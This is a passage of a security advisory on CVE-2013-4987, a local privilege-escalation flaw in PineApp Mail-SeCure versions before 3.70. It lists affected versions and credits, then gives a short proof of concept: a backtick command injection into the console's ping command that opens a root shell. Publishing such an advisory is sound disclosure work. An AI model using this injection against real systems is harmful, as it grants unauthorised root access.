    2. *Vulnerability Information*
    
    Class: Access control failure [CWE-264]
    Impact: Security bypass
    Remotely Exploitable: No
    Locally Exploitable: Yes
    CVE Name: CVE-2013-4987
    
    
    3. *Vulnerability Description*
    
    A security vulnerability was discovered in PineApp [1] Mail-SeCure Suite
    [2], allowing a non-privileged attacker to get a root shell by sending a
    specially crafted command from the Mail-SeCure console. A valid user
    account is needed to launch the attack, so this is a privileged
    escalation vulnerability that can be exploited locally only.
    
    
    4. *Vulnerable Packages*
    
     . All Mail-SeCure versions prior to 3.70.
    
    
    5. *Non-Vulnerable Packages*
    
     . Mail-SeCure 3.70 (revision Sep. 2013).
    
    
    6. *Credits*
    
    This vulnerability was discovered and researched by John Petrusa from
    Core Security.
    This report was coordinated by Fernando Miranda from Core Advisories Team.
    
    
    7. *Technical Description / Proof of Concept Code*
    
    Open a Mail-SeCure console as 'pinapp' user and execute the following
    command:
    
    /-----
    pa_cli> system ping `/bin/sh>/dev/tty`
    -----/
    
    As a result, you should be the super-user:
    
    /-----
    sh-3.00# id
    uid=0(root) gid=0(root) groups=0(root)
